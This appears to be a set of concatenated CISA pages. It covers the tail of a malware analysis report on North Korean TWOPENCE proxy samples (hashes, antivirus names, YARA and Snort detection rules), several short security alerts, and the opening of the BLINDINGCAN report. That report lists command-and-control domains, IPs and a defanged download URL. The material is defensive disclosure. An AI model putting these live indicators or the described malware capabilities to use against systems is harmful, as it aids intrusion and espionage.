       $frmt1 = “Host: %s%s%s:%hu”
       $frmt2 = “%s%s%s%s%s%s%s%s%s%s”
   condition:
       (4 of ($cmd*)) and (1 of ($frmt*))
}

ssdeep Matches

99
9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852

PE Metadata

Compile Date
2016-09-18 23:24:39-04:00

Import Hash
6b8fa355d78d649f199232a25e22d630

PE Sections

MD5
Name
Raw Size
Entropy

41a5273e6d92dfe9de72f76c18f6475f
header
1024
2.398805

e6412e7fb561ead2b3eddef9bafd3518
.text
198656
6.554337

a9890fd54b24cf53425649a92fe290ad
.rdata
18432
5.115959

884e0d48d1830995eeade874d295ced0
.data
5632
3.201975

0e79f25ba5ec9ae1502fe80ec7b08f79
.reloc
9216
5.674607

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Description

This file is a 32-bit Windows executable. It has similar functionality as a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118.

f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de

Tags

HIDDEN-COBRAproxytrojan

Details

Name
f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de

Size
265216 bytes

Type
PE32+ executable (GUI) x86-64, for MS Windows

MD5
bda82f0d9e2cb7996d2eefdd1e5b41c4

SHA1
9ff715209d99d2e74e64f9db894c114a8d13229a

SHA256
f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de

SHA512
6774cc49f5200d1a427b5a2af77d27eaac671f405e01f3ded2d152e5e08d1217d2b3b9d8508d2924aee5f0925abc32f83645756cf248222193eb13194eb39add

ssdeep
6144:+TW3SZ4GvcPPWi9JhJTxPm26ebMk5Q35m8LERov:invQThJsexib

Entropy
6.304640

Antivirus

Ahnlab
Trojan/Win32.Alreay

Antiy
Trojan[Banker]/Win32.Alreay

Avira
TR/AD.APTLazerus.dsenf

BitDefender
Gen:Variant.Razy.368693

ClamAV
Win.Trojan.Agent-6971031-0

Comodo
Malware

Cyren
W64/Alreay.C

ESET
a variant of Win64/NukeSped.BB trojan

Emsisoft
Gen:Variant.Razy.368693 (B)

Ikarus
Trojan.Win64.Nukesped

K7
Trojan ( 00538e2b1 )

Lavasoft
Gen:Variant.Razy.368693

McAfee
PWS-Banker.gen.gj

Symantec
Trojan.Gen.6

Systweak
trojan.banker

TrendMicro
BKDR64_.8979788A

TrendMicro House Call
BKDR64_.8979788A

VirusBlokAda
TrojanBanker.Alreay

Zillya!
Trojan.GenericKD.Win32.133035

YARA Rules

rule CISA_3P_10301706_02 : HiddenCobra TWOPENCE backdoor dropper proxy spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r2.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Dropper Proxy Spyware Trojan”
       Family = “TWOPENCE”
       Description = “Detects strings in TWOPENCE proxy tool”
       MD5_1 = “40e698f961eb796728a57ddf81f52b9a”
       SHA256_1 = “a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118”
       MD5_2 = “dfd09e91b7f86a984f8687ed6033af9d”
       SHA256_2 = “aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83”
       MD5_3 = “bda82f0d9e2cb7996d2eefdd1e5b41c4”
       SHA256_3 = “f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de”
       MD5_4 = “97aaf130cfa251e5207ea74b2558293d”
       SHA256_4 = “9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852”
       MD5_5 = “889e320cf66520485e1a0475107d7419”
       SHA256_5 = “8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1”
   strings:
       $cmd1 = “ssylka”
       $cmd2 = “ustanavlivat”
       $cmd3 = “poluchit”
       $cmd4 = “pereslat”
       $cmd5 = “derzhat”
       $cmd6 = “vykhodit”
       $cmd7 = “Nachalo”
       $cmd8 = “kliyent2podklyuchit”
       $frmt1 = “Host: %s%s%s:%hu”
       $frmt2 = “%s%s%s%s%s%s%s%s%s%s”
   condition:
       (4 of ($cmd*)) and (1 of ($frmt*))
}

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2016-05-01 23:24:39-04:00

Import Hash
b2b084698f33fd93bc9e72f0c2af26b5

PE Sections

MD5
Name
Raw Size
Entropy

379ffb6e4aeb96c753dbe1f16dae01db
header
1024
2.516799

33c1647f8f3a870e4c8f9b48b5ec2c82
.text
212480
6.373885

5bb6bf3a50e4982066d5746d99945853
.rdata
31232
5.302106

a62c434f5beb6282b437c5e0dc40c616
.data
7168
2.877953

6ba7963edd09a132976d6830462fc17f
.pdata
11776
5.348074

06ce263d0dc81197b88ff3f576787648
.reloc
1536
2.915027

Packers/Compilers/Cryptors

Microsoft Visual C++ 8.0 (DLL)

Description

This file is a 64-bit Windows executable. It has similar functionality as a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118.

9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852

Tags

HIDDEN-COBRAproxyspywaretrojan

Details

Name
9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852

Size
232960 bytes

Type
PE32 executable (GUI) Intel 80386, for MS Windows

MD5
97aaf130cfa251e5207ea74b2558293d

SHA1
c7e7dd96fefca77bb1097aeeefef126d597126bd

SHA256
9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852

SHA512
d8b750263ac8b295a934ef60a694108257c489055c6aee24bae000d70d0bdde70934e8c2a157d38c15469bc5fb2a6cfcb733ddd4729ba05200dfa243913cf73d

ssdeep
3072:6U5r72JE+FYWR0jZLShk4cPT/QzSaQ0sCFneZTznIhZJJcrJ1GHeV9:6U5uJpYnZL05STQNddFnAnGZIrV

Entropy
6.524151

Antivirus

Ahnlab
Trojan/Win32.Alreay

Antiy
Trojan[Banker]/Win32.Alreay

BitDefender
Trojan.Generic.22528938

ClamAV
Win.Trojan.Agent-6971031-0

Comodo
Malware

Cyren
W32/Alreay.SQQX-6406

ESET
a variant of Win32/Spy.Banker.ADRO trojan

Emsisoft
Trojan.Generic.22528938 (B)

Ikarus
Trojan-Spy.Agent

K7
Spyware ( 005198041 )

Lavasoft
Trojan.Generic.22528938

McAfee
GenericRXFQ-MX!97AAF130CFA2

Microsoft Security Essentials
Trojan:Win32/Alreay

NANOAV
Trojan.Win32.Alreay.ettzed

NetGate
Trojan.Win32.Malware

Sophos
Troj/Banker-GUU

Symantec
Trojan.Gen.2

TrendMicro
Trojan.79245AFC

TrendMicro House Call
Trojan.79245AFC

VirusBlokAda
TrojanBanker.Alreay

Zillya!
Trojan.Alreay.Win32.42

YARA Rules

rule CISA_3P_10301706_02 : HiddenCobra TWOPENCE backdoor dropper proxy spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r2.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Dropper Proxy Spyware Trojan”
       Family = “TWOPENCE”
       Description = “Detects strings in TWOPENCE proxy tool”
       MD5_1 = “40e698f961eb796728a57ddf81f52b9a”
       SHA256_1 = “a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118”
       MD5_2 = “dfd09e91b7f86a984f8687ed6033af9d”
       SHA256_2 = “aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83”
       MD5_3 = “bda82f0d9e2cb7996d2eefdd1e5b41c4”
       SHA256_3 = “f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de”
       MD5_4 = “97aaf130cfa251e5207ea74b2558293d”
       SHA256_4 = “9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852”
       MD5_5 = “889e320cf66520485e1a0475107d7419”
       SHA256_5 = “8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1”
   strings:
       $cmd1 = “ssylka”
       $cmd2 = “ustanavlivat”
       $cmd3 = “poluchit”
       $cmd4 = “pereslat”
       $cmd5 = “derzhat”
       $cmd6 = “vykhodit”
       $cmd7 = “Nachalo”
       $cmd8 = “kliyent2podklyuchit”
       $frmt1 = “Host: %s%s%s:%hu”
       $frmt2 = “%s%s%s%s%s%s%s%s%s%s”
   condition:
       (4 of ($cmd*)) and (1 of ($frmt*))
}

ssdeep Matches

99
aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83

PE Metadata

Compile Date
2017-02-20 06:09:30-05:00

Import Hash
6b8fa355d78d649f199232a25e22d630

PE Sections

MD5
Name
Raw Size
Entropy

bb573973d723ebac15a2dd783a56921f
header
1024
2.372576

e6412e7fb561ead2b3eddef9bafd3518
.text
198656
6.554337

a9890fd54b24cf53425649a92fe290ad
.rdata
18432
5.115959

884e0d48d1830995eeade874d295ced0
.data
5632
3.201975

0e79f25ba5ec9ae1502fe80ec7b08f79
.reloc
9216
5.674607

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Description

This file is a 32-bit Windows executable. It has similar functionality as a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118.

70b494b0a8fdf054926829dcb3235fc7bd0346b6a19faf2a57891c71043b3b38

Tags

HIDDEN-COBRAbackdoorproxytrojan

Details

Name
70b494b0a8fdf054926829dcb3235fc7bd0346b6a19faf2a57891c71043b3b38

Size
1637888 bytes

Type
PE32 executable (GUI) Intel 80386, for MS Windows

MD5
3c9e71400b72cc0213c9c3e4ab4df9df

SHA1
bdb632b27ddb200693c1b0b80819a7463d4e7a98

SHA256
70b494b0a8fdf054926829dcb3235fc7bd0346b6a19faf2a57891c71043b3b38

SHA512
c7a02fadb9fbbe0cf05dddd6a78cbf48b9030638420b421b4ff83816ae1cabbe54656b4e1c8e4020cacab93388934b6c79d3d21fe560ed4c7131ad5eba481ed0

ssdeep
24576:5gDgaE2r55ENJSOZ8jsAMZMF2kPupVevS6ieT17cZ/hJMIYO0:+D9vrrs8OZxZI+wvTTahqO

Entropy
7.956784

Antivirus

Ahnlab
Trojan/Win32.Agent

Antiy
Trojan/Win32.AGeneric

Avira
TR/Crypt.TPM.Gen

BitDefender
Gen:Variant.Symmi.79278

Comodo
Malware

ESET
Win32/Spy.Banker.AECT trojan

Emsisoft
Gen:Variant.Symmi.79278 (B)

K7
Trojan ( 0040f4ef1 )

Lavasoft
Gen:Variant.Symmi.79278

McAfee
Generic Trojan.ej

Microsoft Security Essentials
TrojanSpy:Win32/Banker

NANOAV
Trojan.Win32.TPM.etiucd

Quick Heal
Trojan.Generic

Sophos
Troj/Agent-AXNK

Symantec
Trojan.Gen.2

TrendMicro
BKDR_KL.22A80489

TrendMicro House Call
BKDR_KL.22A80489

VirusBlokAda
Backdoor.Agent

Zillya!
Backdoor.Agent.Win32.64626

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2017-02-20 06:09:30-05:00

Import Hash
baa93d47220682c04d92f7797d9224ce

PE Sections

MD5
Name
Raw Size
Entropy

a32e7b28831808e208355ae637e006f0
header
4096
0.814733

ca42a315c5287101ffdf2d7843b74d34
 
119296
7.972251

d41d8cd98f00b204e9800998ecf8427e
.rsrc
0
0.000000

9e66a842d63673e7febfc6646ea43c43
.idata
512
1.308723

5668c4714f706c7f669afb1e7f9c6ba7
 
512
0.260771

de90eb0d146d89f2c2dd76ecf17ea09e
dworqjxn
1512960
7.955321

4857cc05e1ea968cfc978d53f2f34126
omrcmqfn
512
3.378388

Description

This file is a 32-bit Windows executable. It has similar functionality as a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118.

8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1

Tags

HIDDEN-COBRAproxyspywaretrojan

Details

Name
8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1

Size
480768 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
889e320cf66520485e1a0475107d7419

SHA1
f5fc9d893ae99f97e43adcef49801782daced2d7

SHA256
8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1

SHA512
8da0ab0b3072b3966c5e32c22e7ac5654ff3923b3cf28cc895ae10d520a27bb70360e4d94e54422033aa7c7527d10774ab6d8b8569bab8b6909eb3eab40d62bc

ssdeep
6144:sdqAqUok+00rm9TOi9Vc7/VtXvWLnJlh+efvoRKmjbL/xY4fTKKWSFle3IDgDi2C:xABogwttXuLnJlkkiKU/xtKYydF9iIU

Entropy
6.465490

Antivirus

Ahnlab
Trojan/Win32.Alreay

Antiy
Trojan/Win32.BTSGeneric

Avira
TR/Spy.Banker.xbkax

BitDefender
Trojan.Generic.20466258

ClamAV
Win.Trojan.Agent-6971031-0

Comodo
Malware

ESET
a variant of Win64/Spy.Banker.AX trojan

Emsisoft
Trojan.Generic.20466258 (B)

Ikarus
Trojan-Spy.Win64.Agent

K7
Spyware ( 00504e561 )

Lavasoft
Trojan.Generic.20466258

McAfee
Trojan-FLEP!889E320CF665

Microsoft Security Essentials
TrojanSpy:Win64/Cyruslish.A

NANOAV
Trojan.Win64.Alreay.elwnmb

Sophos
Troj/Banker-GSY

Symantec
Trojan.Gen.2

TrendMicro
BKDR64_.D1FB2862

TrendMicro House Call
BKDR64_.D1FB2862

VirusBlokAda
TrojanBanker.Alreay

Zillya!
Trojan.Banker.Win64.148

YARA Rules

rule CISA_3P_10301706_02 : HiddenCobra TWOPENCE backdoor dropper proxy spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r2.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Dropper Proxy Spyware Trojan”
       Family = “TWOPENCE”
       Description = “Detects strings in TWOPENCE proxy tool”
       MD5_1 = “40e698f961eb796728a57ddf81f52b9a”
       SHA256_1 = “a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118”
       MD5_2 = “dfd09e91b7f86a984f8687ed6033af9d”
       SHA256_2 = “aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83”
       MD5_3 = “bda82f0d9e2cb7996d2eefdd1e5b41c4”
       SHA256_3 = “f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de”
       MD5_4 = “97aaf130cfa251e5207ea74b2558293d”
       SHA256_4 = “9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852”
       MD5_5 = “889e320cf66520485e1a0475107d7419”
       SHA256_5 = “8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1”
   strings:
       $cmd1 = “ssylka”
       $cmd2 = “ustanavlivat”
       $cmd3 = “poluchit”
       $cmd4 = “pereslat”
       $cmd5 = “derzhat”
       $cmd6 = “vykhodit”
       $cmd7 = “Nachalo”
       $cmd8 = “kliyent2podklyuchit”
       $frmt1 = “Host: %s%s%s:%hu”
       $frmt2 = “%s%s%s%s%s%s%s%s%s%s”
   condition:
       (4 of ($cmd*)) and (1 of ($frmt*))
}

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2016-08-26 00:11:49-04:00

Import Hash
1cd9192feb9402723bdada868b8c98de

PE Sections

MD5
Name
Raw Size
Entropy

2fb3e4c0734998f9629ba86c4e7c6e99
header
1024
2.603055

9319545c7ac53b81b3d56a722dad8ef1
.text
364032
6.423307

e406c9d4f3bdbdbab8191bb701e4ff57
.rdata
81920
6.056842

6198d24ba115f17c5597e2773cb51a75
.data
8704
3.090138

f7b6096db3b9ad55c3bad4c47de6d5b4
.pdata
22016
5.758547

ddf5f86578d6de91c211211bdd72f63f
.reloc
3072
3.181451

Description

This file is a 32-bit Windows executable. It has similar functionality as a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118.

Mitigation

The following Snort rules were provided by a CISA trusted third party:

// The following Snort rule can be used to detect proxy handshake
alert tcp any any -> any any (msg:”Proxy handshake detected”; content:”|a7 00 a7 00 fb 00 b0 00 8e 00 c5 00 b0 00 48 00 17 00 c5 00 8b 00 6a 00 8e 00 ec 00 f3 00 fe 00 d9 00 f3 00 a7 00 6a 00 ec 00 a7 00 b0 00 17 00 fc 00 48 00 48 00 09 00 09 00 09 00 48 00 8e 00 ce|”; rev:1; sid:1;)

// The following Snort rule can be used to detect encrypted proxy string kliyent2podklyuchit
alert tcp any any -> any any (msg:”Proxy string detected”; content:”|d1 14 23 b3 c7 b2 ac fe 70 0d 1c d1 14 b3 d7 f9 38 23 ac|”; rev:1; sid:1;)

// The following Snort rule can be used to detect encrypted proxy string poluchit
alert tcp any any -> any any (msg:”Proxy string detected”; content:”|70 0d 14 d7 f9 38 23 ac|”; rev:1; sid:1;)

// The following Snort rule can be used to detect encrypted proxy string pereslat
alert tcp any any -> any any (msg:”Proxy string detected”; content:”|70 c7 be c7 c9 14 ab ac|”; rev:1; sid:1;)

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

1-888-282-0870

CISA Service Desk (UNCLASS)

CISA SIPR (SIPRNET)

CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

Web: https://malware.us-cert.gov

E-Mail: submit@malware.us-cert.gov

FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 26, 2020Mozilla has released security updates to address vulnerabilities in Firefox and Firefox ESR. An attacker could exploit some of these vulnerabilities to take control of an affected system.

The Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review the Mozilla Security Advisories for Firefox 80, Firefox ESR 68.12, and Firefox ESR 78.2 and apply the necessary updates.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 14, 2020The Apache Software Foundation has released a security advisory to address vulnerabilities in Struts in the version range 2.0.0—2.5.20. An attacker could exploit one of these vulnerabilities to take control of an affected system. The current version, Struts 2.5.22, is not affected.

The Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review Apache’s security advisory for CVE-2019-0230 and CVE-2019-0233 and upgrade to the appropriate version.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 14, 2020The U.S. Small Business Administration (SBA) is aware of fraudulent schemes and scams targeting its ongoing economic relief efforts. The SBA requests that suspected SBA-related spoofing or phishing fraud be reported to the SBA Office of the Inspector General (OIG) Hotline at 800-767-0385 or online at SBA OIG Hotline.

The Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review  SBA’s fraud alert as well as CISA’s Alert on the subject. Suspected malware, phishing, or other cyber criminal activity can also be reported to the Federal Bureau of Investigation Internet Crime Complaint Center (IC3) or through the CISA Incident Reporting System.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 19, 2020The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have identified a malware variant—referred to as BLINDINGCAN—used by North Korean actors.

CISA encourages users and administrators to review Malware Analysis Report MAR-10295134-1.v1 and CISA’s North Korean Malicious Cyber Activity page for more information.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 19, 2020

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Remote Access Trojan (RAT) malware variants used by the North Korean government. This malware variant has been identified as BLINDINGCAN. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https[:]//www[.]us-cert.gov/hiddencobra.

FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation. A threat group with a nexus to North Korea targeted government contractors early this year to gather intelligence surrounding key military and energy technologies. The malicious documents employed in this campaign used job postings from leading defense contractors as lures and installed a data gathering implant on a victim’s system. This campaign utilized compromised infrastructure from multiple countries to host its command and control (C2) infrastructure and distribute implants to a victim’s system. CISA and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware and report the activity to CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. The threat actor whose activity is described in this report may have included images of logos and products, such as the examples in this report, as a part of a social engineering strategy.

CISA received four Microsoft Word Open Extensible Markup Language (XML) documents (.docx), two Dynamic-Link Libraries (DLLs). The .docx files attempt to connect to external domains for a download. A 32-bit and a 64-bit DLL was submitted that install a 32-bit and a 64-bit DLL named “iconcache.db” respectively. The DLL “iconcache.db” unpacks and executes a variant of Hidden Cobra RAT. It contains built-in functions for remote operations that provide various capabilities on a victim’s system.

For a downloadable copy of IOCs, see MAR-10295134-1.v1.stix.

Submitted Files (6)

0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6 (0FC12E03EE93D19003B2DD7117A66A…)

158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 (2_7955fa7ab32773d17e0e94efeea6…)

586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e (1_6cea7290883f0527dbd3e2df6446…)

6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 (4_e7aa0237fc3db67a96ebd877806a…)

7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 (3_56470e113479eacda081c2eeead1…)

d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 (D40AD4CD39350D718E189ADF45703E…)

Additional Files (6)

58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d (58027c80c6502327863ddca28c31d3…)

7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd (7d507281e2e21476ff1af492ad9f57…)

8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050 (8b53b519623b56ab746fdaf14d3eb4…)

b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 (iconcache.db)

bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1 (e7718609577c6e34221b03de7e959a…)

d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5 (iconcache.db)

Domains (4)

agarwalpropertyconsultants.com

anca-aste.it

automercado.co.cr

curiofirenze.com

IPs (4)

192.99.20.39

199.79.63.24

51.68.152.96

54.241.91.49

Findings

586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

Tags

downloadertrojan

Details

Name
1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx

Size
184853 bytes

Type
Microsoft Word 2007+

MD5
6cea7290883f0527dbd3e2df64462684

SHA1
8d179113e963d81adbf8d39ceff456afac3dae16

SHA256
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

SHA512
6d84696445a9339709edc25dfaa36766bcbc1a63aa41386280307a6314c9838a1fb347785becb91346ac9ed8fffe3804e01910e69945c6f41c15a06591213643

ssdeep
3072:3wlGjFU9aU5M3Dr+YLLUb6WaTllr+YLLUb6WaTlmv13yK8RZOphF:3wl9aUOfJnUjaTltJnUjaTlmv178RyF

Entropy
6.246619

Antivirus

NANOAV
Exploit.Xml.CVE-2017-0199.equmby

YARA Rules

No matches found.

ssdeep Matches

97
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

Relationships

586d012540…
Connected_To
agarwalpropertyconsultants.com

Description

This file is a .docx file that is a zipped file containing XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file “1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx/word/_rels/settings.xml.rels” attempts to connect to the following Uniform Resource Locator (URL) for a download:

–Begin External URL–
hxxps[:]//agarwalpropertyconsultants.com/assets/form/template/img/boeing_ia_cm.jpg
–End External URL–

The download was not available at the time of analysis.

Screenshots

Figure 1 – Screenshot of “1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx”.

agarwalpropertyconsultants.com

Tags

command-and-control

URLs

hxxps[:]//agarwalpropertyconsultants.com/assets/form/template/img/boeing_ia_cm.jpg

Ports

443 TCP

Whois

Domain Name: AGARWALPROPERTYCONSULTANTS.COM
Registry Domain ID: 2430104516_DOMAIN_COM-VRSN
Registrar WHOIS Server: Whois.bigrock.com
Registrar URL: www.bigrock.com
Updated Date: 2019-11-05T02:16:36Z
Creation Date: 2019-09-05T06:07:18Z
Registrar Registration Expiration Date: 2020-09-05T06:07:18Z
Registrar: BigRock Solutions Ltd
Registrar IANA ID: 1495
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: Not Available From Registry
Registrant City: Mumbai
Registrant State/Province: Other
Registrant Postal Code: 400102
Registrant Country: IN
Registry Admin ID: Not Available From Registry
Admin City: Mumbai
Admin State/Province: Other
Admin Postal Code: 400102
Admin Country: IN
Registry Tech ID: Not Available From Registry
Tech City: Mumbai
Tech State/Province: Other
Tech Postal Code: 400102
Tech Country: IN
Tech Phone: +91.9821112012
Name Server: ns1.bh-58.webhostbox.net
Name Server: ns2.bh-58.webhostbox.net
DNSSEC: Unsigned
Registrar Abuse Contact Email: abuse@bigrock.com
Registrar Abuse Contact Phone: +1-415-349-0015
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2020-06-30T20:21:25Z <<<

Relationships

agarwalpropertyconsultants.com
Connected_From
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

agarwalpropertyconsultants.com
Resolved_To
199.79.63.24

Description

“1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx” attempts to connect to this domain.

199.79.63.24

Whois

Queried whois.arin.net with “n 199.79.63.24″…

NetRange: 199.79.62.0 – 199.79.63.255
CIDR: 199.79.62.0/23
NetName: PUBLICDOMAINREGISTRY-NETWORKS
NetHandle: NET-199-79-62-0-1
Parent: NET199 (NET-199-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS394695
Organization: PDR (PSUL-1)
RegDate: 2012-01-13
Updated: 2018-11-29
Ref: https://rdap.arin.net/registry/ip/199.79.62.0

OrgName: PDR
OrgId: PSUL-1
Address: P.D.R Solutions LLC, 10, Corporate Drive, Suite 300
City: Burlington
StateProv: MA
PostalCode: 01803
Country: US
RegDate: 2015-08-04
Updated: 2019-11-07
Ref: https://rdap.arin.net/registry/entity/PSUL-1

OrgAbuseHandle: ABUSE5185-ARIN
OrgAbuseName: Abuse Admin
OrgAbusePhone: +1-415-230-0648
OrgAbuseEmail: abuse@publicdomainregistry.com
OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE5185-ARIN

OrgNOCHandle: NOC32406-ARIN
OrgNOCName: NOC
OrgNOCPhone: +1-415-230-0680
OrgNOCEmail: noc@publicdomainregistry.com
OrgNOCRef: https://rdap.arin.net/registry/entity/NOC32406-ARIN

OrgTechHandle: TECH953-ARIN
OrgTechName: Tech
OrgTechPhone: +1-415-230-0680
OrgTechEmail: ipadmin@publicdomainregistry.com
OrgTechRef: https://rdap.arin.net/registry/entity/TECH953-ARIN

OrgRoutingHandle: EIGAR-ARIN
OrgRoutingName: eig-arin
OrgRoutingPhone: +1-781-852-3200
